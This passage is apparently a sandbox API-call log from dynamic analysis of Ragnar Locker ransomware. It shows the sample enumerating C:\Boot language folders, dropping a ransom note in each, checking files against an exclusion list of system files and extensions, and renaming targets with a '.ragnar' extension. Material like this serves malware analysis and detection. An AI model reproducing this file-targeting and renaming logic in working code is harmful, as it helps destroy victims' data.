lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\sv-SE\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.809] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.809] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.809] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.810] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.810] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.810] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.810] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.810] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.810] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.810] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.810] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebdf4a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.810] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.810] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.810] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebdf4a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.810] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.810] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.810] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.810] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.810] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\sv-SE\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.810] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.810] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned=".mui" [0047.810] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.810] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.810] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.810] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.810] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.810] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.810] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.810] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.810] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.810] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.810] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.811] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.811] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.811] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.811] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.811] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.811] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.811] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.811] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.811] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.811] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.811] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0047.812] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.812] CloseHandle (hObject=0xffffffff) returned 0 [0047.812] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" [0047.812] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.812] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.812] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebdf4a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.812] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\sv-SE\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.812] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.812] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\sv-SE\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.812] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.812] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebdf4a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.812] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.812] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0047.812] lstrcmpiW (lpString1="tr-TR", lpString2=".") returned 1 [0047.812] lstrcmpiW (lpString1="tr-TR", lpString2="..") returned 1 [0047.812] lstrcmpiW (lpString1="tr-TR", lpString2="Windows") returned -1 [0047.812] lstrcmpiW (lpString1="tr-TR", lpString2="Windows.old") returned -1 [0047.813] lstrcmpiW (lpString1="tr-TR", lpString2="Tor browser") returned 1 [0047.813] lstrcmpiW (lpString1="tr-TR", lpString2="Internet Explorer") returned 1 [0047.813] lstrcmpiW (lpString1="tr-TR", lpString2="Google") returned 1 [0047.813] lstrcmpiW (lpString1="tr-TR", lpString2="Opera") returned 1 [0047.813] lstrcmpiW (lpString1="tr-TR", lpString2="Opera Software") returned 1 [0047.813] lstrcmpiW (lpString1="tr-TR", lpString2="Mozilla") returned 1 [0047.813] lstrcmpiW (lpString1="tr-TR", lpString2="Mozilla Firefox") returned 1 [0047.813] lstrcmpiW (lpString1="tr-TR", lpString2="$Recycle.Bin") returned 1 [0047.813] lstrcmpiW (lpString1="tr-TR", lpString2="ProgramData") returned 1 [0047.813] lstrcmpiW (lpString1="tr-TR", lpString2="All Users") returned 1 [0047.813] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.813] lstrcpyW (in: lpString1=0x1ed660, lpString2="tr-TR" | out: lpString1="tr-TR") returned="tr-TR" [0047.813] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\tr-TR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\tr-TR\\") returned="\\\\?\\C:\\Boot\\tr-TR\\" [0047.813] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\tr-TR\\" | out: lpString1="\\\\?\\C:\\Boot\\tr-TR\\") returned="\\\\?\\C:\\Boot\\tr-TR\\" [0047.813] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\tr-TR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\tr-TR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\tr-TR\\RGNR_FD7BD9FC.txt" [0047.813] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\tr-TR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\tr-tr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.815] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\tr-TR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\tr-TR\\*.*") returned="\\\\?\\C:\\Boot\\tr-TR\\*.*" [0047.815] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\tr-TR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.815] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.815] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.815] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.815] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.815] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.815] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.815] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.815] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.815] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.815] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.815] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebdf4a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.815] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.815] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.816] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebdf4a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.816] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.816] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.816] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.816] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.816] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\tr-TR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.816] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.816] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.816] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.816] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.816] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.816] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.816] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.816] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.816] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.816] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0047.817] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.817] CloseHandle (hObject=0xffffffff) returned 0 [0047.818] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" [0047.818] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.818] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.818] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebdf4a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.818] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\tr-TR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.818] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.818] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\tr-TR\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.818] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.818] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebdf4a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.818] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.818] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, 